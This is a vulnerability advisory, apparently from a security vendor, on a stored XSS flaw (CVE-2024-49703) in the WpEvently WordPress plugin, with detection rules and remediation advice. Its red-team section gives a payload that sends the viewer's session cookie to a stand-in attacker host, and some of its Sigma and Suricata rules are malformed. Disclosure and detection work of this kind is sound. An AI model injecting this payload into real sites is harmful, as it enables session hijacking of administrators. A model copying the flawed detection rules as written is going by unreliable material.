CVE-2024-49703

Executive Summary

CVE-2024-49703 is a Stored Cross-Site Scripting (XSS) vulnerability in the WpEvently WordPress plugin (also known as mage-eventpress), developed by Magepeopleteam. The flaw exists in versions up to and including 4.2.5, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into event-related fields, which will execute in the browsers of other users (including administrators) when the malicious event is viewed.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.5 (Medium) reflects the need for user interaction and low privileges, but the impact is amplified in multi-tenant or high-traffic WordPress installations. No public exploit code or proof-of-concept (PoC) is available at this time, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using WpEvently should treat this as a supply chain risk, as the plugin is a third-party component integrated into the WordPress ecosystem. No known malicious packages or backdoored versions have been reported, but the lack of a patch increases the risk of supply chain compromise if the plugin is not removed or replaced.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the malicious event.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for privilege escalation (e.g., session hijacking of an admin) makes this a serious concern for WordPress sites with multiple users.

Deep Dive & Mechanics

The vulnerability resides in the event creation and editing functionality of WpEvently. When a user with contributor-level access or higher creates or modifies an event, the plugin fails to sanitize or escape input fields such as event title, description, or custom fields. This allows an attacker to inject HTML and JavaScript code.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new event and inserts a malicious payload into a vulnerable field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the WordPress database.
4. When an administrator or other user views the event, the script executes in their browser.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the site.

The root cause is the use of echo or the_content filters without proper escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (WpEvently <= 4.2.5):

// In a template file, e.g., single-event.php
echo get_post_meta($post->ID, 'event_description', true);

Patched Code (Hypothetical):

// Properly escape output
echo esc_html(get_post_meta($post->ID, 'event_description', true));

The vulnerable code directly outputs user-supplied data without sanitization. The patched version uses esc_html() to neutralize HTML tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with WpEvently plugin version <= 4.2.5.
• Contributor-level user account.

Steps:

1. Log in as a contributor.
2. Navigate to Events > Add New.
3. In the event title or description field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the event.
5. Wait for an administrator to view the event, or send a direct link to the admin.

Expected Outcome: The admin's session cookie is exfiltrated to the attacker's server.

Blue Team

Detection:

• Monitor for unusual event creation patterns (e.g., events with script tags in title/description).
• Use WAF rules to block common XSS payloads in POST requests to /wp-admin/post.php or /wp-admin/admin-ajax.php.

Mitigation:

• Immediately disable or remove the WpEvently plugin until a patch is available.
• Implement a Web Application Firewall (WAF) with XSS detection rules.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie or localStorage.
• Host: Presence of script tags in WordPress wp_postmeta table for event-related meta keys.
• Logs: Repeated POST requests to /wp-admin/post.php with post_type=event and suspicious payloads in post_title or post_content.

Example IOC (Sigma Rule):

title: Suspicious Event Creation with Script Tags
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects creation of WordPress events containing script tags
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains: '/wp-admin/post.php'
    cs-uri-query|contains: 'post_type=event'
    cs-uri-query|contains: 'post_title'
    cs-uri-query|contains: '<script'
  condition: selection
falsepositives:
  - Legitimate use of JavaScript in event descriptions (rare)
level: high

Detection Engineering

YARA Rule

rule CVE_2024_49703_WpEvently_XSS {
    meta:
        description = "Detects stored XSS payloads in WpEvently plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49703"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_meta = /event_description|event_title/i
    condition:
        $xss_payload and $event_meta
}

Sigma Rule

title: CVE-2024-49703 WpEvently Stored XSS
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects stored XSS attempts against WpEvently plugin
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains: '/wp-admin/post.php'
    cs-uri-query|contains: 'post_type=event'
    cs-uri-query|contains: 'post_title'
    cs-uri-query|contains: '<script'
  condition: selection
falsepositives:
  - None expected
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49703 WpEvently Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=event"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Remove or deactivate WpEvently until a patch is released.
2. Audit user roles – Review and restrict contributor-level accounts.
3. WAF rules – Deploy custom WAF rules to block XSS payloads in event-related POST requests.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• If no patch is forthcoming, consider migrating to an alternative event management plugin.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for XSS.
• Manually edit the plugin files to add escaping functions (not recommended for non-developers).

Valters IT
Securing Digital Ecosystems